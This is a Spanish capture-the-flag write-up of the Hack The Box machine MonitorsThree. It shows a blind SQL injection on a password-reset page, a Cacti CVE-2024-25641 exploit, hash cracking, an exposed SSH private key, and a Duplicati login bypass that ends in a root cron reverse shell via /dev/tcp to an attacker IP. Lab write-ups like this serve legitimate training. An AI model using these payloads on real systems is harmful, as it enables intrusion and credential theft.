MonitorsThree
MonitorsThree es una máquina Linux de dificultad media que cuenta con un sitio web para una empresa que ofrece soluciones de redes. El sitio web tiene una página de "olvide contraseña" vulnerable a la inyección SQL, que se aprovecha para obtener acceso a las credenciales. Una enumeración más detallada del sitio web revela un subdominio que presenta una instancia de Cacti a la que se puede acceder con las credenciales obtenidas de la inyección SQL. La instancia de Cacti es vulnerable a CVE-2024-25641, que se aprovecha para afianzarse en el sistema. Una enumeración más detallada del sistema revela las credenciales utilizadas para acceder a la base de datos, donde se encuentran los hashes y se descifran para obtener la contraseña del usuario. Esto luego se utiliza para obtener acceso a las claves privadas SSH, lo que lleva al acceso SSH al sistema. La enumeración de los puertos abiertos en el sistema revela una instancia de Duplicati vulnerable, que se aprovecha para obtener un shell como root.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/monitorsthree:-$ ping -c 1 10.10.11.30
PING 10.10.11.30 (10.10.11.30) 56(84) bytes of data.
64 bytes from 10.10.11.30: icmp_seq=1 ttl=63 time=252 ms
--- 10.10.11.30 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 251.592/251.592/251.592/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/htb/machines/monitorsthree:-$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.30 -oG nmap1
Host: 10.10.11.30 () Status: Up
Host: 10.10.11.30 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/htb/machines/monitorsthree:-$ sudo nmap -sCV -p22,80 10.10.11.30 -vvv -oN nmap2
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNwl884vMmev5jgPEogyyLoyjEHsq+F9DzOCgtCA4P8TH2TQcymOgliq7Yzf7x1tL+i2mJedm2BGMKOv1NXXfN0=
| 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5W5QMRdl0vUKFiq9AiP+TVxKIgpRQNyo25qNs248Pa
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
/home/kali/Documents/htb/machines/monitorsthree:-$ echo '10.10.11.30\tmonitorsthree.htb' | sudo tee -a /etc/hosts
1
2
/home/kali/Documents/htb/machines/monitorsthree:-$ whatweb monitorsthree.htb
http://monitorsthree.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@monitorsthree.htb], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.30], JQuery, Script, Title[MonitorsThree - Networking Solutions], X-UA-Compatible[IE=edge], nginx[1.18.0]
Web Analysis
En este caso, la web inicial es sencilla y no ofrece muchas opciones visibles.
El botón de Login
redirige a un formulario de inicio de sesión.
La página forgot_password.php
expone un comportamiento interesante, permite detectar usuarios válidos debido a que responde de manera distinta cuando un usuario existe o no en el sistema.
Logré identificar que el usuario admin
es válido.
Utilicé ffuf para descubrir subdominios adicionales.
1
/home/kali/Documents/htb/machines/monitorsthree:-$ ffuf -u http://monitorsthree.htb/ -H "HOST:FUZZ.monitorsthree.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -t 200 -c
La herramienta arrojó múltiples resultados con un tamaño de respuesta de 13560 bytes, el mismo que el de la página principal.
1
2
/home/kali/Documents/htb/machines/monitorsthree:-$ curl -s http://monitorsthree.htb/ | wc -c
13560
Para filtrar las respuestas que no sean relevantes, ajusté el escaneo de ffuf para ignorar aquellas cuyo tamaño coincida con el de la página principal.
1
/home/kali/Documents/htb/machines/monitorsthree:-$ ffuf -u http://monitorsthree.htb/ -H "HOST:FUZZ.monitorsthree.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -t 200 -c -fs 13560
1
2
/home/kali/Documents/htb/machines/monitorsthree:-$ sudo sed -i '$d' /etc/hosts
/home/kali/Documents/htb/machines/monitorsthree:-$ echo '10.10.11.30\tmonitorsthree.htb\tcacti.monitorsthree.htb' | sudo tee -a /etc/hosts
En el subdominio encontrado, se muestra un formulario de inicio de sesión del servicio Cacti.
Vulnerability Exploitation
En la página forgot_password.php
, descubrí que el campo de entrada es vulnerable a SQL Injection.
1
admin'--
1
admin'-- -
Aquí se presenta específicamente SQL Injection basada en respuestas condicionales.
La condición 1=1
siempre es verdadera. Si el usuario admin
es válido, la aplicación responde con:
- “Successfully sent password reset request!”.
- “Content-Length:
3385
”.
1
admin' AND '1'='1'-- -
Por otro lado, la condición 1=2
siempre es falsa. Aunque el usuario admin
sea válido, la web responde con:
- “Unable to process request, try again!”.
- “Content-Length:
3380
”.
1
admin' AND '1'='2'-- -
Al inyectar la siguiente condición, introduje una subconsulta que intenta recuperar un valor específico de la tabla users
.
Esta subconsulta busca en la tabla users
un usuario cuyo username
sea igual a admin
. Si se encuentra, devuelve el valor 'a'
, La consulta principal compara el resultado de la subconsulta con ='a'
. La condición resulta verdadera.
Respuesta de la web
- “Content-Length:
3385
”.
1
admin' AND (SELECT 'a' FROM users WHERE username='admin')='a'-- -
En lugar de verificar la existencia de un usuario, introduzco deliberadamente un valor diferente al esperado para forzar un error en la comparación.
En este caso, la subconsulta devuelve 'a'
(porque el usuario admin existe), pero la comparación con ='b'
falla, resultando en una condición falsa.
Respuesta de la web
- “Content-Length:
3380
”.
1
admin' AND (SELECT 'a' FROM users WHERE username='admin')='b'-- -
De forma similar a la validación del usuario, es posible determinar la longitud de la contraseña del usuario admin
mediante inyecciones condicionales. La idea es comparar la longitud de la contraseña almacenada en la base de datos con diferentes valores y observar cómo responde la web.
Respuesta de la web
- “Content-Length:
3385
”.
1
admin' AND (SELECT 'a' FROM users WHERE username='admin' AND CHAR_LENGTH(password)>=32)='a'-- -
Respuesta de la web
- “Content-Length:
3380
”.
1
admin' AND (SELECT 'a' FROM users WHERE username='admin' AND CHAR_LENGTH(password)>=33)='a'-- -
Con el usuario admin identificado y la longitud de su contraseña determinada, el siguiente paso es extraer la contraseña carácter por carácter.
La función SUBSTRING()
permite obtener un carácter específico de una cadena. En este caso, se extrae el primer carácter de la contraseña del usuario admin:
1
admin' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
Identificamos que el primer carácter de la contraseña del usuario admin es un “3”, ya que es el único payload que produce una respuesta con un Length diferente.
Para revelar el resto de la contraseña, aplico el mismo método usado previamente, pero modificando el índice en la función SUBSTRING()
para obtener cada carácter de forma secuencial.
1
admin' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin')='a'-- -
Tambien se puede utilizar SQLmap para explotar la vulnerabilidad.
1
2
3
/home/kali/Documents/htb/machines/monitorsthree:-$ sqlmap -u "http://10.10.11.30/forgot_password.php" --level 5 --risk 3 --batch --current-user admin -D MySQL
/home/kali/Documents/htb/machines/monitorsthree:-$ sqlmap -r monitors.req -dbms=mysql --dump
El hash extraído corresponde al algoritmo MD5.
1
2
3
4
/home/kali/Documents/htb/machines/monitorsthree:-$ hashcat --show '31a181c8372e3afc59dab863430610e8'
# | Name | Category
=====+=================================================+==============================
0 | MD5 | Raw Hash
Foothold
Una vez autenticado en Cacti, noto que la versión utilizada es 1.2.26, la cual es vulnerable a CVE-2024-25641.
Para explotar esta vulnerabilidad, utilicé el siguiente exploit.
1
2
3
4
5
6
/home/kali/Documents/htb/machines/monitorsthree:-$ wget https://raw.githubusercontent.com/5ma1l/CVE-2024-25641/refs/heads/master/exploit.py
/home/kali/Documents/htb/machines/monitorsthree:-$ nc -nlvp 4321
listening on [any] 4321 ...
/home/kali/Documents/htb/machines/monitorsthree:-$ python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p /home/kali/Documents/tools/php-reverse-shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
... connect to [10.10.16.84] from (UNKNOWN) [10.10.11.30] 43266
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@monitorsthree:/$ ^Z
zsh: suspended nc -lnvp 1234
/home/kali/Documents/htb/machines/monitorsthree:-$ stty raw -echo;fg
[1] + continued nc -lnvp 1234
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@monitorsthree:/$ export TERM=xterm
www-data@monitorsthree:/$ export SHELL=bash
/home/kali/Documents/htb/machines/monitorsthree:-$ stty size
42 86
www-data@monitorsthree:/$ stty rows 42 columns 86
www-data@monitorsthree:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral Movement
1
2
3
www-data@monitorsthree:/$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash
Encuentro credenciales para una base de datos MySQL.
1
www-data@monitorsthree:/$ cat /var/www/html/app/admin/db.php
El puerto 3306 está activo en el sistema, lo que confirma que el servicio MySQL está funcionando.
1
www-data@monitorsthree:/$ ss -tulnp
Confirmo la presencia de las credenciales utilizadas por los usuarios de la aplicación Cacti, incluyendo el hash previamente dumpeado por SQLi.
1
2
3
4
5
6
www-data@monitorsthree:/$ mysql -u app_user -p -h 127.0.0.1 -P 3306
Enter password: php_app_password
MariaDB [(none)]> USE monitorsthree_db;
MariaDB [(monitorsthree_db)]> select * from users;
Encontré credenciales adicionales para el servicio MySQL en el archivo /html/cacti/include/config.php
.
1
www-data@monitorsthree:~/html/cacti/include$ cat config.php
Utilizando las nuevas credenciales, accedo a la base de datos Cacti. Dentro encuentro una tabla de usuarios con hashes de contraseñas.
1
2
3
4
5
6
www-data@monitorsthree:/$ mysql -u cactiuser -p -h 127.0.0.1 -P 3306
Enter password: cactiuser
MariaDB [(none)]> USE cacti;
MariaDB [(cacti)]> select * from user_auth;
1
2
3
/home/kali/Documents/htb/machines/monitorsthree:-$ echo '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' > hash.txt
/home/kali/Documents/htb/machines/monitorsthree:-$ hashcat --show hash.txt
1
2
/home/kali/Documents/htb/machines/monitorsthree:-$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
1
2
3
4
5
www-data@monitorsthree:/$ su marcus
Password: 12345678910
marcus@monitorsthree:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
marcus@monitorsthree:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
/home/kali/Documents/htb/machines/monitorsthree:-$ chmod 600 id_rsa
/home/kali/Documents/htb/machines/monitorsthree:-$ ssh marcus@monitorsthree.htb -i id_rsa
marcus@monitorsthree:~$ cat user.txt
Privilege Escalation
1
marcus@monitorsthree:~$ ss -tulnp
1
/home/kali/Documents/htb/machines/monitorsthree:-$ ssh -L 8200:127.0.0.1:8200 marcus@monitorsthree.htb -i id_rsa -N -f
Al acceder al puerto redirigido confirmo que el servicio en ejecución es Duplicati.
El servicio Duplicati presenta una vulnerabilidad que permite eludir la autenticación de inicio de sesión utilizando el Server Passphrase.
https://github.com/duplicati/duplicati/issues/5197
1
marcus@monitorsthree:~$ find / -name '*duplicati*' 2>/dev/null
1
2
marcus@monitorsthree:~$ ls -al /opt/duplicati/config/
-rw-r--r-- 1 root root 90112 Dec 20 22:10 Duplicati-server.sqlite
1
2
3
4
5
6
/home/kali/Documents/htb/machines/monitorsthree:-$ nc -lvp 4321 > Duplicati-server.sqlite
listening on [any] 4321 ...
marcus@monitorsthree:/opt/duplicati/config$ nc 10.10.16.84 4321 < Duplicati-server.sqlite
... connect to [10.10.16.84] from monitorsthree.htb [10.10.11.30] 52332
Abro la base de datos utilizando sqlitebrowser para extraer el Server_passphrase
1
/home/kali/Documents/htb/machines/monitorsthree:-$ sqlitebrowser Duplicati-server.sqlite
Decodifico el passphrase y convierto el resultado en hexadecimal.
1
2
echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
Intercepto una solicitud de inicio de sesión fallido con Burp Suite.
Configuro el interceptor en “Do Intercept > Response to this request”. Y la doy a Foward.
Extraigo los valores de interés del response interceptado.
- Nonce:
"Nonce": "LXvXjDAJVXgBezoVXcXW+psVClH8j15IbkSn4FWnJ18="
- Salt: (Debe coincidir con el valor de
server-passphrase-salt
enDuplicati-server.sqlite
).
Utilizo el Nonce y el Server-passphrase decodificado para generar un token de autenticación válido.
1
2
3
4
5
var saltedpwd = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a";
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('LXvXjDAJVXgBezoVXcXW+psVClH8j15IbkSn4FWnJ18=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
El script genera un token de autenticación válido basado en la combinación del Nonce y el Server-passphrase.
1
SOZ7kd2Q6gC7XdffvKuB27Bgw9N/ayYRCnR/bHrEkYE=
En Burp Suite, reenvío la solicitud interceptada al servidor hasta encontrar el parámetro password
.
Modifico el parámetro password
de la solicitud y lo reemplazo por el token generado (noncedpwd). Es necesario URL encodear el token antes de enviarlo para garantizar que sea interpretado correctamente por el servidor.
Después de modificar y reenviar la solicitud, observo que se ha completado el inicio de sesión en la interfaz web de Duplicati sin necesidad de la contraseña original.
Procedo a crear un archivo de cron que ejecutará una reverse shell con permisos de root. Este archivo se guarda en el directorio personal de Marcus y se utiliza Duplicati para crear un respaldo de este archivo y restaurarlo como una tarea de cron. Esto resulta en la ejecución del comando como root, lo que conduce a una ejecución remota de comandos.
1
marcus@monitorsthree:~$ echo '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.81/4321 0>&1"' > shell
Este archivo está configurado para ejecutarse cada minuto con permisos de root.
1
2
/home/kali/Documents/htb/machines/monitorsthree:-$ nc -nvlp 4321
listening on [any] 4321 ...
Utilizo la función de restaurar de Duplicati, especificando que los archivos se restauren en el directorio /etc/cron.d
, donde los archivos de cron son reconocidos y ejecutados automáticamente.
Verifico en mi listener de Netcat y confirmo que se ha recibido una conexión como el usuario root.
1
2
3
... connect to [10.10.16.81] from (UNKNOWN) [10.10.11.30] 49750
root@monitorsthree:~# cat root.txt